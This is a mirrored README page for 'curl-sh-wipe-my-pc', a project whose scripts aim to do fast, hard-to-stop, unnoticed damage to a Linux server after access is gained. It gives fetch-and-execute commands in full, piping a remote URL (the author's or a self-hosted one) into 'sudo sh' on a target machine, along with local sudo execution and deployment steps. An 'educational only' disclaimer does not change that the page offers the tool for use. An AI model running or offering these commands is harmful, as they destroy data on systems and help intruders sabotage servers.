Code Monkey home page Code Monkey logo

curl-sh-wipe-my-pc's Introduction

Why?

I was wondering whether I could do a whole lot of damage in a short span of time after gaining access to a linux server, that could go unnoticed and be unstoppable using CTRL-C. As it turns out, I could, wanna see it in action? (CZ only)

Usage

You can either:

  • Host it on your own (see Deployment ) and then execute curl {YOUR_URL} | sudo sh on the target machine.
  • Execute curl https://curl-sh-wipe-my-pc.tomasdiblik.cz/ | sudo sh OR curl https://curl-sh-wipe-my-pc.tomasdiblik.cz/basic.sh | sudo sh on the target machine (if I see ANY usage for illegal purposes, I'm taking it down. Use in educational environments only please.)
  • Just copy these scripts onto your target, and run chmod +x advanced.sh && sudo ./advanced.sh lol

Deployment

  1. Configure your server (I use nginx, so you can use the nginx-config provided), this step depends a lot on you tho ... If you're unable to do this, you probably also lack the knowledge required to understand the commands executed and I would advise you against hosting these scripts on your own.
    • If you're on windows: dos2unix.exe advanced.sh basic.sh
    • and then: scp -P {SSH_PORT} basic.sh advanced.sh LICENSE {USER}@{SERVER_IP}:{FULL_PATH_EXAMPLE_/www/curl-sh-wipe-my-pc}
  2. Go onto your target system and type curl {YOUR_URL} | sudo sh

Legal notice:

The code provided is for educational purposes only and should not be used for any malicious or illegal activities. Any unauthorized use of this code is strictly prohibited and violators will be held liable for their actions. The code is intended to be used solely for the purpose of learning and understanding vulnerabilities and should not be executed on any systems without proper authorization and oversight. The author of this code takes no responsibility for any actions taken by any party using this code and is not liable for any damages or harm caused as a result of its use.

curl-sh-wipe-my-pc's People

Contributors

tdiblik avatar

Stargazers

 avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.